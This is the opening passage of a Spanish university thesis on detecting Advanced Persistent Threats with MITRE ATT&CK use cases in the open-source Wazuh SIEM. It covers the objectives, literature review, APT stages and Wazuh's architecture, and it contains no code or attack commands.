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RESUMEN

En el contexto actual de transformacion digital, las organizaciones enfrentan amenazas
cibernéticas cada vez mas sofisticadas, entre las que destacan las Amenazas Persistentes
Avanzadas (APT) por su capacidad de infiltracion prolongada y sigilosa. Este proyecto tiene
como objetivo disenar e implementar casos de uso especificos para la deteccion de APTs
utilizando el framework MITRE ATT&CK en un entorno con un SIEM de codigo abierto,
considerando las limitaciones de recursos disponibles.

La propuesta se desarrolla en un entorno controlado, mediante la simulacion de ataques
reales y la recoleccion de logs, los cuales son analizados y correlacionados para identificar
tacticas, técnicas y procedimientos (TTP) empleados por atacantes. Las fases del proyecto
incluyen el levantamiento de la infraestructura, instalacién de herramientas de monitoreo,
ejecucion de escenarios de ataque, y evaluacion de la efectividad de las reglas implementadas.

El enfoque metodologico estad orientado a aprovechar datos historicos y correlaciones
complejas para mejorar la capacidad de deteccion, todo esto alineado con el framework MITRE
ATT&CK. Los resultados obtenidos permiten validar la eficacia de las soluciones propuestas en
contextos de bajo presupuesto, aportando a la mejora de la postura de ciberseguridad
organizacional y fomentando el uso de herramientas open source como alternativa viable para la
deteccion avanzada de amenazas.

Palabras Claves:

e SIEM

e Amenazas Persistentes Avanzadas (APT)

e Correlaciones
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ABSTRACT

In the current context of digital transformation, organizations face increasingly
sophisticated cyber threats, among which Advanced Persistent Threats (APTs) stand out for their
ability to infiltrate systems in a stealthy and prolonged manner. This project aims to design and
implement specific use cases for APT detection using the MITRE ATT&CK framework within a
resource-constrained environment, leveraging an open-source SIEM platform.

The proposed solution is developed in a controlled environment through the simulation of
real attack scenarios and the collection of security logs, which are then analyzed and correlated
to identify tactics, techniques, and procedures (TTPs) employed by threat actors. The project's
phases include infrastructure setup, deployment of monitoring tools, attack execution, and
evaluation of the effectiveness of implemented rules.

The methodological approach focuses on utilizing historical data and complex
correlations to enhance detection capabilities, fully aligned with the MITRE ATT&CK
framework. The results validate the effectiveness of the proposed solutions in low-budget
contexts, contributing to the improvement of organizational cybersecurity posture and promoting
the use of open-source tools as a viable alternative for advanced threat detection.

Keywords:

e SIEM

e Advanced Persistent Threats (APTs)

e Correlations
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CAPITULO 1:

1. Introducciéon

En la era actual, la transformacion digital que vive el mundo marca una creciente
digitalizacion, por ende, se presenta una evolucion significativa de amenazas cibernéticas que
afectan a redes a nivel global, a tal grado, que su deteccion se vuelve mas compleja. El Ecuador
no esta inmerso de la creciente ola de ciberataques, por ello, durante el 2020 existieron
aproximadamente 140 mil detecciones de codigos utilizados para explotar vulnerabilidades en
software, mas de 51 mil registros de malware utilizado para la mineria de criptomonedas, 8 mil
detecciones de spyware y cerca de 6 mil detecciones de ransomware (El Comercio, 2021).

El aumento de las Amenazas Persistentes Avanzadas (APT) es algo que quita el suefio a
los profesionales de Ciber Seguridad y representan un desafio significativo para la seguridad de
las organizaciones, estas amenazas se caracterizan por utilizar técnicas de hackeo continuas,
clandestinas, su persistencia, capacidad para evadir mecanismos de deteccion tradicionales y
permanecer en un sistema por tiempo prolongado con consecuencias potencialmente destructivas
(Kaspersky, 2025).

Los Centros de Operaciones de Seguridad (SOC) y sistemas de gestion de eventos e
informacion de seguridad (SIEM), han sido los actores principales para de alguna manera
implementar soluciones capaces de identificar de forma temprana eventos inusuales en activos de
informacion y tomar gestion o acciones sobre las mismas. Sin embargo, la falta de alineacion con
marcos reconocidos como MITRE ATT&CK limita la deteccion de tacticas avanzadas utilizadas
por actores de amenazas y reduce la efectividad general de las herramientas de seguridad
(MITRE, 2025).

En particular, los SIEM suelen configurarse con reglas genéricas que no priorizan los
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riesgos relevantes para la infraestructura protegida, dejando brechas significativas en la deteccion
de amenazas avanzadas. Ademas, la falta de correlaciones complejas basadas en datos historicos
impide identificar patrones de actividad maliciosa que, de forma aislada, podrian pasar
desapercibidos. Por ello, el proyecto que se plantea tiene como objetivo disefiar € implementar
un modulo para la deteccion de APTs utilizando datos historicos almacenados en un SIEM. La
solucion contempla la integracion de correlaciones avanzadas alineadas con MITRE ATT&CK
para identificar patrones de comportamiento inusual o malicioso, mejorando la capacidad de
deteccion de amenazas que operan en multiples etapas. Este enfoque busca resolver las
limitaciones actuales mediante la implementacion de reglas y casos de uso especificos, como la

deteccion de escalamiento de privilegios, movimiento lateral y técnicas de persistencia.

1.1. Justificacion e importancia del trabajo de investigacion

El estudio y propuesta de casos de uso basados en el framework MITRE ATT&CK para la
deteccion de Amenazas Persistentes Avanzadas (APT) resulta fundamental debido al impacto
critico de estas amenazas en la seguridad organizacional. Las APT, caracterizadas por su
persistencia y sigilo, explotan brechas de seguridad para comprometer la confidencialidad,
integridad y disponibilidad de la informacion. En este contexto, se disefiaron casos de uso
alineados con MITRE ATT&CK para mejorar la capacidad de deteccion en un entorno SIEM. No
obstante, debido a limitaciones de recursos, solo algunos de estos casos de uso pudieron ser
implementados, priorizando aquellos con mayor impacto y viabilidad técnica dentro de la
infraestructura disponible.

Dado que los recursos disponibles para este proyecto son limitados, se trabajara con dos
equipos con especificaciones moderadas: una laptop con 6 GB de RAM y 1 TB de

almacenamiento, y otra con 16 GB de RAM y 512 GB de almacenamiento. Estas limitaciones
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justifican la necesidad de una solucion optimizada en base a software libre, capaz de operar
eficientemente con los recursos existentes sin comprometer la calidad de la deteccion.

Este proyecto también busca contribuir al fortalecimiento de la postura de seguridad en
general al proporcionar un enfoque estructurado para detectar APTs, aprovechando datos
historicos y simulaciones para validar su efectividad de deteccion promoviendo el uso de
herramientas accesibles y metodologia del Framework MITRE ATT&CK.

1.2. Alcance

El proyecto esta disefiado para operar dentro de las limitaciones de hardware y software
disponibles dicho proyecto se desarrollara en base a las siguientes fases:
Figura 1

Fases del proyecto de titulacion

Fase 1
Revisionde la literatura

|¢

Fase 2
Definicionde activos criticos Diseno de arquitecturade ciberseguridad

Fase 3
Disenar los casos de uso en base al MITRE ATT&CK

“ i‘

Fase 4
Instalacion de activos Levantamiento del ambiente

|¢

Fase 5
Instalacién del SIEM Open-Source Instalacion de agentes

A 4

Ejecucidonde Ataques Recoleccionde Logs

A 4

Fase 7
Analisis de logs Correlaciones APT Definicion casos de uso

Fase 8
Documentacion Conclusiones Recomendaciones

|¢



DETECCION DE APT CON MITRE ATT&CK EN UNA SIEM
Cada una de las fases contempla la siguiente descripcion:

e Fase 1 - Revision de la literatura: Investigar y analizar estudios y publicaciones
previas sobre deteccion de APTs, MITRE ATT&CK, SIEM de cddigo abierto y
herramientas de pentesting. En esta fase se sienta las bases tedricas del proyecto.

e Fase 2 — Definicion de activos criticos y diseiio de arquitectura de
ciberseguridad: Identificar los activos mas valiosos de la organizacion que
necesitan proteccion (datos, sistemas, etc.). Luego, disefar una arquitectura de
ciberseguridad que integre las herramientas y técnicas necesarias para proteger
estos activos.

e Fase 3 - Diseiiar los casos de uso en base al MITRE ATT&CK: Utilizar el marco
MITRE ATT&CK para identificar tacticas, técnicas y procedimientos (TTP) que
utilizan los atacantes de APTs. Luego, disefiar casos de uso especificos que permitan
detectar estos TTPs utilizando el SIEM, tomando en cuenta las limitaciones del
entorno implementado.

e Fase 4 - Instalacion de activos y levantamiento del ambiente: Configurar e instalar
los activos de hardware y software necesarios para el proyecto. Esto incluye la
creacion de un entorno de pruebas donde se simularan los ataques y se probaran los
casos de uso.

e Fase 5 - Instalacion del SIEM Open-Source e instalacion de agentes: Implementar
el SIEM de codigo abierto elegido. Es decir, instalar el software, configurar las
fuentes de logs y establecer las reglas iniciales. Intalar agentes en los activos para
recolectar logs y eventos de seguridad.

e Fase 6: Ejecucion de Ataques y Recoleccion de Logs: Analizar logs y eventos



DETECCION DE APT CON MITRE ATT&CK EN UNA SIEM
recolectados para determinar si el SIEM detect6 correctamente los ataques simulados.
Simular ataques de APT en el entorno de pruebas, utilizando los TTP (Técnicas,
Tacticas y Procedimientos) identificados en el marco MITRE ATT&CK. Durante los
ataques, se recolectan logs y eventos de seguridad en el SIEM.

e Fase 7: Analisis de logs y definicion casos de uso: Configurar el SIEM para
recolectar logs, almacenarlos, procesarlos y analizarlos para definir los casos de uso
para su posible implementacion esto implica ajustar las reglas de correlacion, crear
alertas y definir los flujos de trabajo de posible respuesta a incidentes.

e Fase 8: Documentacion, Conclusiones y Recomendaciones: Documentar hallazgos,
la efectividad de los casos de uso, las fortalezas y debilidades del SIEM. Proporcionar
recomendaciones para mejorar la deteccion de APTs y la respuesta a incidente.

1.3. Objetivos
1.3.1. Objetivo General. Disefiar, implementar y evaluar casos de uso orientados a la
deteccion de Amenazas Persistentes Avanzadas (APT) mediante el framework MITRE
ATT&CK en un SIEM de cédigo abierto Wazuh, integrando correlaciones basadas en datos
histéricos y simulaciones de ataques, con el fin de fortalecer la capacidad de deteccion de
amenazas en entornos con recursos limitados.

1.3.2. Objetivos Especificos

e Implementar un entorno de pruebas con un SIEM codigo abierto Wazuh, configurando

los activos, agentes y reglas necesarias para simular escenarios de ataque controlados.

e Analizar el marco MITRE ATT&CK y su aplicabilidad en la deteccion de tacticas,

técnicas y procedimientos utilizados por actores de amenazas APT en entornos reales.
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e Disenar casos de uso especificos basados en MITRE ATT&CK, priorizando técnicas

asociadas a escalamiento de privilegios, movimiento lateral y persistencia.

e Ejecutar ataques simulados en el entorno y recolectar logs relevantes, evaluando la

eficacia de los casos de uso propuestos mediante analisis y correlaciones.

e Documentar los resultados obtenidos, identificando fortalezas, debilidades vy

oportunidades de mejora para la detecciéon de APTs en infraestructuras limitadas.
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CAPITULO 2:
2. REVISION DE LITERATURA

2.1. Estado del Arte

En los ultimos afios, el aumento de ataques cibernéticos dirigidos y sofisticados ha
impulsado el estudio de las Amenazas Persistentes Avanzadas (APT), un tipo de ataque
caracterizado por su persistencia, evasion y orientacion estratégica hacia objetivos especificos.
Segun (Cortés Novoa), los ataques APT suelen estar respaldados por actores con motivacion
politica o econdémica, por lo que su deteccion representa un desafio significativo para los Centros
de Operaciones de Seguridad (SOC) tradicionales.

Uno de los avances mas relevantes en la estandarizacion del andlisis de amenazas ha sido
el desarrollo del framework MITRE ATT&CK, un modelo de conocimiento basado en
observaciones reales de comportamiento adversario. Este marco ha sido adoptado ampliamente
por analistas de seguridad y organizaciones debido a su capacidad para mapear tacticas, técnicas
y procedimientos (TTP) utilizados por atacantes. Segin (Wunder, 2019), MITRE ATT&CK no
solo mejora la visibilidad de las amenazas, sino que también permite estructurar casos de uso de
deteccion mas precisos y enfocados.

A nivel préactico, estudios como el de (CardinalOps, 2023) han demostrado que la
integracion de MITRE ATT&CK en plataformas SIEM mejora la eficiencia en la deteccion de
amenazas, particularmente cuando se utilizan reglas de correlacion alineadas con técnicas
especificas del marco. Sin embargo, la mayoria de las investigaciones se han enfocado en entornos
con herramientas comerciales como Splunk o IBM QRadar, dejando un vacio en el analisis y

validacion de entornos open source, como Wazuh.
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Proyectos académicos como el de (Pillajo Casillas & Burgos Buenafio, 2024) simularon
ataques del grupo APT38 mediante técnicas del framework MITRE ATT&CK y evaluaron la
eficacia del SIEM open source Wazuh en la deteccion y correlacion de eventos generados. Aunque
lograron construir reglas especificas para visualizar comportamientos maliciosos, identificaron
como desafio la necesidad de personalizar configuraciones y crear reglas adicionales para una
correlacion efectiva de ataques multietapa.

Por otro lado, la ejecucion de ataques controlados y simulaciones ha ganado relevancia
como método de validacion de deteccion. Herramientas como Atomic Red Team o Metasploitable
se han empleado exitosamente para generar eventos compatibles con MITRE ATT&CK y evaluar
la capacidad de correlacion de los SIEM (Canary, 2023).Estas simulaciones permiten verificar la
efectividad de los casos de uso sin comprometer la seguridad real de los sistemas productivos.

Finalmente, la necesidad de soluciones accesibles ha impulsado el desarrollo de propuestas
que se enfocan en infraestructura limitada, utilizando laptops o servidores personales, y
priorizando la eficiencia del andlisis sobre la complejidad de las herramientas. Aunque existen
estudios que validan la utilidad de MITRE ATT&CK vy las capacidades de SIEMs comerciales para
la deteccion de APTs, hay una necesidad evidente de propuestas enfocadas en entornos open source
y de bajo costo, con capacidad de correlacion compleja y validacion mediante simulacion, lo cual

representa el aporte principal del presente trabajo.
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2.2. Marco Teorico

2.2.1. Amenazas Persistentes Avanzadas (APT). Se refiere a un ataque que utiliza
técnicas de hackeo continuas, clandestinas y avanzadas para acceder a un sistema y permanecer
alli durante un tiempo prolongado, utilizando métodos innovadores de pirateria informatica para
acceder a un sistema con consecuencias potencialmente destructivas. Los atacantes mas
conocidos son los grupos como el Irani APT34, la organizaciéon Rusa APT28 y otros. Aunque
pueden provenir de todo el mundo, algunos de los atacantes mas notables provienen de Iran,
otras areas de Medio Oriente y Corea del Norte. (Fortinet, 2025)

El proposito principal de un ataque de APT es obtener acceso continuo al sistema. Los

atacantes lo logran en una serie de etapas las cuales se describen a continuacion:

e Reconocimiento: Es la fase donde el atacante recopila informacion sobre el objetivo,
como direcciones IP, dominios, correos electronicos y configuraciones del sistema, con

el fin de planificar su ataque.

e Desarrollo de recursos: Aqui, el adversario prepara los elementos que usara para
atacar, como la creaciéon de cuentas falsas, compra de dominios maliciosos o

construccion de malware.

e Acceso inicial: Esta tactica se refiere a como el atacante logra entrar por primera vez
al sistema o red objetivo. Puede hacerlo por medio de phishing, explotacion de

vulnerabilidades o uso de dispositivos externos.

e Ejecucion: Una vez dentro, el atacante ejecuta cddigo malicioso en los sistemas
comprometidos para avanzar en su objetivo. Esto puede ser mediante scripts, macros o

cargas utiles.
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Persistencia: El atacante busca formas de mantener el acceso incluso después de
reinicios o cambios de contrasefia, usando técnicas como creacion de cuentas ocultas o

modificacion de claves de inicio automatico.

Escalada de privilegios: Una vez dentro, el atacante intenta obtener mayores permisos
en el sistema, como pasar de un usuario comuin a un administrador, aprovechando

vulnerabilidades o configuraciones incorrectas.

Evasion de defensas: El adversario emplea técnicas para evitar ser detectado por
antivirus, firewalls, EDR o cualquier herramienta de seguridad, como cifrado de cargas,

borrado de registros o uso de procesos legitimos.

Acceso a credenciales: El objetivo aqui es robar contrasefias, hashes o tokens que le
permitan moverse libremente por la red sin ser detectado. Esto puede lograrse con

keyloggers, volcado de memoria o herramientas como Mimikatz.

Descubrimiento: El atacante investiga el entorno comprometido para entender su
arquitectura, sistemas conectados, usuarios activos, roles, servicios y recursos

disponibles.

Movimiento lateral: Usando la informacion obtenida, el atacante se desplaza entre

distintos sistemas dentro de la red, buscando llegar a los activos mas valiosos o criticos.

Recopilacion: En esta fase, el atacante retine la informacion que desea robar, como

documentos confidenciales, bases de datos o credenciales.

Comando y control (C2): El atacante establece un canal de comunicacidon con los
sistemas comprometidos para enviar comandos y extraer datos. Esto puede hacerse a

través de servidores C2, tuneles cifrados o incluso canales encubiertos.

10
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e Exfiltracion: Una vez recopilados los datos, el adversario los transfiere fuera del
entorno comprometido usando protocolos comunes como FTP, HTTP o incluso redes

sociales.

e Impacto: Finalmente, el atacante puede causar dafos directos, como borrar
informacion, cifrarla (ransomware), apagar servicios o alterar su funcionamiento con
el objetivo de interrumpir operaciones o extorsionar (Kaspersky, 2025).

2.2.2. SIEM. Es una solucion que integra la gestion de eventos de seguridad (SEM)
como la gestion de informacion de seguridad (SIM) el cual permite la deteccion de amenazas
avanzadas, cumplimiento normativo y la gestion de incidentes de seguridad. E1 SIEM combina,
almacena, analiza y alerta de manera eficaz los datos recolectados de diferentes fuentes como
dispositivos de red, aplicaciones, base de datos, sistemas operativos, etc. de una infraestructura
IT de una organizacion (Proofpoint, 2025).

Un SIEM se caracteriza porque permite a las organizaciones una visibilidad en tiempo
real de los eventos sospechosos para poder responder ante las amenazas antes de que se
conviertan en ciberataques. Por lo cual un SIEM ayuda a los equipos de seguridad de una
organizacion a detectar comportamientos inusuales permitiendo detectar amenazas y dar
respuesta ante incidentes (IBM, 2025).

2.2.3. Tipos de SIEM. Las soluciones SIEM pueden implementarse de manera interna,

en la nube y de manera gestionada, dependiendo de las necesidades y recursos de la

organizacion.

e SIEM Interna: otorga control total, ya que se gestiona dentro de las instalaciones
fisicas con infraestructura propia, lo que permite una personalizacion completa y

confidencialidad total de los datos. Sin embargo, implica una inversion inicial elevada
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y costos continuos de mantenimiento, actualizaciones y formacion del personal

(Securonix, 2025)

SIEM en la nube: funciona bajo un modelo de suscripcion, con menor
responsabilidad en infraestructura y mantenimiento, lo que lo hace més accesible para
muchas empresas. Aunque reduce los costos iniciales y ofrece escalabilidad, los datos
se almacenan fuera del entorno directo de la organizacion, lo que puede generar

preocupaciones sobre el control y la privacidad.

SIEM Gestionada: combina lo mejor de las implementaciones internas y en la nube,
pero con el respaldo de un proveedor especializado. En este enfoque, una
organizacion no depende Unicamente de su equipo interno, ya que el proveedor brinda
soporte técnico durante la implementacion y operacion. Esta solucion suele estar
alojada en la infraestructura del proveedor, quien supervisa de forma continua la red
del cliente en busca de amenazas. Las ventajas clave de este modelo incluyen una
implementacion mas agil, bajo mantenimiento, precios ajustables segun las
necesidades y acceso constante a expertos en ciberseguridad (Martinez & Cevallos,

2023).

2.2.4. Funcionamiento de un SIEM. Los SIEM realizan la agregacion, consolidacion y

clasificacion de datos para poder identificar amenazas en tiempo real. La mayoria de los SIEM

siguen este proceso:

Gestion de registros: La SIEM captura logs de eventos de una fuente amplia de toda
una red de una organizacion, entre ellos registros, datos de flujo de usuarios, activos,
aplicaciones, entornos en la nube. Dichos datos son almacenados y analizados en

tiempo real permitiendo a los equipos de TI administrar automaticamente el registro

12
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de eventos en una herramienta centralizada. Algunas plataformas SIEM también se
conectan con fuentes externas de inteligencia de amenazas, lo que les permite
comparar los datos internos de seguridad con perfiles y firmas de amenazas ya
identificadas. Esta integracion en tiempo real ayuda a los equipos de seguridad a
detectar o bloquear nuevas variantes de ataques de forma mas eficiente.

e Correlacion y analisis de eventos: la correlacion de eventos es un elemento
fundamental en las plataformas SIEM. Mediante técnicas de analisis avanzadas, es
posible detectar patrones complejos en los datos, lo que permite identificar y
responder con rapidez a amenazas potenciales en el entorno empresarial. Estas
soluciones optimizan de forma notable el tiempo promedio de deteccion (MTTD) y el
de respuesta (MTTR), al reducir la carga de trabajo manual que implica el analisis
detallado de los incidentes de seguridad.

e Monitoreo de incidentes y alertas de seguridad: Al ofrecer una gestion centralizada
tanto de la infraestructura local como de la nube, las SIEM tienen la capacidad de
identificar todas las entidades que conforman el entorno de una infraestructura TI.
Esto les permite supervisar actividades de seguridad en usuarios, dispositivos y
aplicaciones conectadas, y detectar comportamientos anémalos en tiempo real.
Gracias al uso de reglas de correlacion preconfiguradas y ajustables, los
administradores pueden recibir alertas inmediatas y actuar de forma preventiva antes
de que una amenaza evolucione en un incidente de ciberataque. (Camano, 2025)

e Gestion e informes de cumplimiento: Las soluciones SIEM son en su mayoria
utilizadas por organizaciones que deben cumplir con normativas de cumplimiento.

Gracias a su capacidad para recopilar y analizar datos de forma automatizada, estas
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herramientas resultan fundamentales para reunir y validar informacion relacionada
con la conformidad en toda la infraestructura TI. Ademas, pueden generar informes
en tiempo real para estandares como PCI-DSS, GDPR, HIPAA, SOX, entre otros, lo
que ayuda a reducir la carga operativa en la gestion de la seguridad y facilita la
deteccion temprana de posibles vulnerabilidades. Muchos SIEM incluyen médulos
preconfigurados que permiten crear informes automatizados alineados con los
requerimientos regulatorios (IBM, 2025).

2.2.5. Beneficio de un SIEM. Las soluciones SIEM rastrean toda la actividad de la red
en todos los usuarios, dispositivos y aplicaciones, mejorando significativamente la
transparencia en toda la infraestructura y detectando amenazas independientemente de donde se
acceda a los recursos y servicios digitales. (IBM, 2025)

e Reconocimiento en tiempo real: SIEM centraliza auditorias e informes de
cumplimiento, automatizando el analisis de registros para reducir el esfuerzo manual y
asegurar el cumplimiento normativo.

e Automatizacion con IA: Las soluciones SIEM modernas se integran con SOAR y
emplean aprendizaje automatico para detectar amenazas y responder rapidamente,
optimizando recursos del equipo de TI.

e Mayor eficiencia operativa: Al ofrecer una vista unificada de alertas y eventos, SIEM
mejora la colaboracion entre equipos y agiliza la respuesta ante incidentes.

e Deteccion de amenazas avanzadas: SIEM combina inteligencia de amenazas e IA
para identificar ataques como phishing, ransomware, amenazas internas, DDoS y
exfiltracion de datos.

e Analisis forense: permite investigar incidentes pasados con precision al centralizar los
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datos de registro, mejorando los procesos de seguridad.
e Cumplimiento normativo: Facilita auditorias y reportes en tiempo real, reduciendo la
carga de trabajo asociada a la gestion de normativas como PCI-DSS o GDPR.
e Monitoreo extendido: Ofrece visibilidad total incluso en entornos remotos, SaaS o
BYOD, ayudando a identificar riesgos fuera del perimetro tradicional. (IBM, 2025)
2.2.6. SIEM mas Populares. Entre las soluciones SIEM mas reconocidas y efectivas

actualmente se encuentran:
e Splunk, conocido por su capacidad de analisis avanzado y escalabilidad.
e IBM QRadar, valorado por su integraciéon con multiples fuentes y facilidad de uso.
e ArcSight de Micro Focus, que destaca por su potencia en la correlacion de eventos.
¢ LogRhythm, apreciado por sus funciones integrales de deteccion y respuesta

e Microsoft Sentinel, que ofrece una solucion en la nube con inteligencia artificial

incorporada.

Estas plataformas son ampliamente utilizadas por organizaciones para fortalecer su postura
de seguridad y cumplir con las normativas. Estas soluciones pueden resultar bastante costosas,
especialmente a largo plazo y en organizaciones de gran tamafo, por lo que cada vez més empresas
buscan una plataforma SIEM de codigo abierto entre las cuales la mas popular es el SIEM Wazuh.

(Exabeam, 2025)
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2.2.7. SIEM Wazuh. Wazuh es una soluciéon Open-Source que tiene como objetivo la
prevencion, deteccion y respuesta ante amenazas de seguridad. Esta plataforma ofrece
funciones XDR y SIEM para proteger cargas de trabajo en entornos fisicos, virtuales, en
contenedores y en la nube. Estd compuesta por un agente de seguridad que supervisa los
sistemas y un servidor de gestion que recolecta y analiza la informacion proporcionada por los
agentes. (Mota, 2021)

La solucion Wazuh se basa en el agente Wazuh, implementado en los usuarios finales
monitorizados, y en tres componentes centrales: el servidor Wazuh, el indexador Wazuh y el
panel de control Wazuh.

Figura 2

Componentes y el flujo de datos de Wazuh.
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e Indexador Wazuh: es un motor escalable de buisqueda y andlisis de texto completo
que juega un papel clave en el procesamiento de datos dentro del SIEM. Se encarga
de almacenar e indexar las alertas generadas por el servidor de Wazuh, permitiendo

consultas rapidas y analisis casi en tiempo real. Este componente puede desplegarse
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como un cluster de uno o varios nodos, ofreciendo asi mayor capacidad y tolerancia a
fallos. La informacion se guarda en documentos JSON estructurados con diferentes
tipos de datos, como textos, numeros o fechas, y se organiza en indices compuestos
por fragmentos distribuidos entre nodos. Esta arquitectura garantiza tanto la
disponibilidad como el rendimiento del sistema. Ademas, Wazuh emplea distintos
indices para clasificar diversos tipos de eventos, lo que facilita su gestion y analisis
(Wazuh, 2025).

Servidor Wazuh: analiza la informacion recibida desde los agentes, generando
alertas cuando detecta comportamientos sospechosos o amenazas. También permite
administrar de forma remota la configuracion de los agentes y monitorear su estado
operativo. Para mejorar su capacidad de deteccion, se apoya en fuentes de inteligencia
de amenazas y afiade contexto valioso mediante el uso del marco MITRE ATT&CK y
normativas como PCI DSS, GDPR, HIPAA, CIS y NIST 800-53. Ademas, este
componente puede integrarse con herramientas externas como sistemas de gestion de
incidencias (por ejemplo, ServiceNow, Jira y PagerDuty) y servicios de mensajeria
como Slack, lo que ayuda a mejorar la eficiencia operativa y la respuesta ante
incidentes (Wazuh, 2025).

Panel Web Wazuh: es una herramienta visual intuitiva que facilita la exploracion,
analisis y supervision de eventos de seguridad dentro de la plataforma. Permite
gestionar la infraestructura de Wazuh desde una interfaz centralizada, incorporando
funciones avanzadas como control de acceso basado en roles (RBAC) e inicio de
sesion unico (SSO) para mayor seguridad. A través de este panel, los usuarios pueden

examinar facilmente los datos recopilados por los agentes y las alertas emitidas por el
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servidor, ademas de generar informes y crear visualizaciones personalizadas.
También incluye acceso al marco MITRE ATT&CK, lo que permite correlacionar
amenazas con tacticas y técnicas especificas para un analisis mas completo (Wazuh,
2025).

e Agente Wazuh: es compatible con multiples sistemas operativos, incluyendo Linux,
Windows, macOS, Solaris y AIX, y puede instalarse en diversos entornos como
estaciones de trabajo, servidores, maquinas virtuales, contenedores y nubes. Su
funcidén principal es recolectar datos del sistema y de las aplicaciones para enviarlos
al servidor a través de un canal cifrado y autenticado. Gracias a su arquitectura
modular, cada componente del agente realiza tareas especificas como la
monitorizacion del sistema de archivos, el analisis de registros, la deteccion de
malware o la auditoria de configuracion. Este modularidad permite adaptar su
funcionamiento segun las necesidades del entorno. El agente también proporciona
informacion operativa sobre su estado y configuracion, y puede ser administrado de
forma remota. La comunicacion se realiza mediante protocolos seguros (TCP o UDP),
con cifrado, compresion y control de flujo para garantizar eficiencia y estabilidad en
la transmision de datos. (Wazuh, 2025)

2.2.8. Arquitectura de la SIEM Wazuh. Wazuh cuenta con una arquitectura distribuida
que combina agentes instalados en los endpoints con dispositivos sin agente como firewalls,
routers o switches, que pueden enviar registros mediante Syslog, SSH o APlIs.

Los agentes recopilan eventos de seguridad y los transmiten al servidor central, que se

encarga de procesar y analizar la informacion. Posteriormente, los resultados se envian al

indexador de Wazuh, que organiza y almacena los datos para su consulta. Este indexador puede
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estar conformado por uno o varios nodos interconectados que permiten realizar operaciones de
lectura y escritura. En entornos pequefios, es posible operar eficientemente con un tnico nodo,
sin necesidad de una infraestructura compleja (Wazuh, 2025).
Figura 3

Arquitectura de implementacion de Wazuh
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Nota. Se muestra en la figura los componentes de la solucion y como el servidor y los nodos de
indexadores de Wazuh pueden configurarse como clusteres, lo que proporciona equilibrio de
carga y alta disponibilidad.

e Comunicacion entre el agente Wazuh y el servidor Wazuh: El agente de Wazuh
transmite constantemente eventos al servidor para su analisis en busca de posibles
amenazas. Esta comunicacion se establece a través del puerto 1514, que puede
modificarse seglin las necesidades. Una vez recibidos, el motor de andlisis del
servidor decodifica y evalta los eventos, y aquellos que coinciden con reglas
configuradas se enriquecen con informacidn adicional, como el identificador y el
nombre de la regla correspondiente. Los eventos se almacenan en distintos archivos

segun su relevancia: todos los eventos se guardan en archives.json, mientras que solo
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los que cumplen con criterios de prioridad definidos se registran también en
alerts.json. La transmision de estos mensajes se realiza de forma segura mediante
cifrado AES con bloques de 128 bits y claves de 256 bits

e Comunicacion entre el servidor Wazuh y el indexador Wazuh: El servidor Wazuh

emplea Filebeat para enviar de forma cifrada, utilizando TLS, los datos de eventos y
alertas al indexador, el cual recibe estas transmisiones en el puerto TCP 9200 por
defecto. Filebeat se encarga de supervisar la salida de registros del servidor y
reenviarlos para su posterior indexacion, lo que permite su analisis y visualizacion a
través del panel web. Ademas, el modulo de deteccion de vulnerabilidades mantiene
actualizado el inventario del sistema y genera alertas con detalles sobre posibles
riesgos. El panel de control interactia con la API RESTful de Wazuh mediante el
puerto 55000/TCP para consultar y modificar la configuracion tanto del servidor
como de los agentes. Esta interaccion esta protegida mediante cifrado TLS y
autenticacion basada en credenciales. (Wazuh, 2025)

2.2.9. MITRE ATT&CK Framework. Este marco proporciona un lenguaje comun para
la inteligencia de amenazas, la respuesta a incidentes y las evaluaciones de seguridad. Es decir
que, su principal objetivo es facilitar un lenguaje comun para que los profesionales de
ciberseguridad puedan comunicarse de manera mas efectiva sobre las amenazas. A su vez

podemos diferenciar las siguientes fases en el marco MITRE ATT&CK.

20



DETECCION DE APT CON MITRE ATT&CK EN UNA SIEM

Figura 4

Técnicas y Tacticas Framework MITRE ATT&CK parte 1
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Nota. La figura describe las principales tacticas y técnicas del Framework MITRE ATT&CK

utilizadas por los actores de amenazas cibernéticas. Tomado de MITRE ATT&CK Matrix, por

LUMU, 2025, https://docs.lumu.io/portal/en/kb/articles/attack-matrix.
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Figura 5

Técnicas y Tacticas Framework MITRE ATT&CK parte 2
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Nota. La figura describe las principales tacticas y técnicas del Framework MITRE ATT&CK
utilizadas por los actores de amenazas cibernéticas. Tomado de MITRE ATT&CK Matrix, por
LUMU, 2025, https://docs.lumu.io/portal/en/kb/articles/attack-matrix.

2.2.10. Generacion de Alertas SIEM en Base al Framework MITRE ATT&CK. Una
alerta es una notificacion generada por un SIEM cuando detecta un patrén sospechoso a partir
de multiples registros de eventos (logs). Estos registros, como pueden ser intentos fallidos de
inicio de sesion o escaneos de red, se correlacionan para identificar posibles amenazas.

Si los logs coinciden con una regla predefinida, el SIEM emite una alerta para que el

equipo de seguridad investigue. Para lo cual, por lo general se hace uso del marco MITRE

ATT&CK (Adversarial Tactics, Techniques, and Common Knowledge) es una herramienta
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dinamica que utilizan las organizaciones para comprender y mitigar las amenazas de

ciberseguridad. (LUMU, 2025)

2.2.11.Identificacion Eventos Inusuales. Segtn (Ali, 2021),detectar eventos inusuales

basados en logs es fundamental para la identificacion de amenazas avanzadas, como ataques

persistentes avanzados (APT), movimientos laterales y accesos no autorizados. El proceso de

normalizacion y preprocesamiento de logs son fundamentales para una correcta deteccion de

anomalias, los registros deben ser centralizados en un SIEM. Es necesario transformar los datos

en formatos estandarizados, como JSON o Syslog, y filtrar eventos irrelevantes para mejorar la

eficiencia del analisis.

Eventos sistema operativo Windows: para el andlisis y deteccion de eventos
inusuales en Windows por lo general se utiliza el Visor de Eventos de Windows es
una herramienta que permite registrar y organizar mensajes del sistema, incluyendo
errores, advertencias e informacion generada por servicios, aplicaciones y el propio
sistema operativo. (Cortés Novoa). A partir de Windows Vista, Microsoft redisefid
significativamente el sistema de registro de eventos, modificando su estructura,
ubicacion y formato. Este nuevo esquema se denomina "Registro de eventos de
Windows", a diferencia del "Registro de eventos" utilizado en versiones anteriores
como Windows XP y 2003. Desde Vista hasta Windows 7, los registros se almacenan
en formato XML binario en la carpeta predeterminada
C:\Windows\System32\winevt\Logs. Por ejemplo, en un sistema con Windows 7 y
solo MS Office 2007 instalado, pueden encontrarse mas de 130 archivos con
extension .evtx. Existen dos grandes categorias de registros: los registros de Windows

y los registros de aplicaciones y servicios. Entre los mas comunes estan los registros
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de aplicacion, sistema y seguridad. Aunque estos cumplen funciones similares a sus
versiones anteriores (como los archivos .evt de XP), los event IDs han cambiado: por
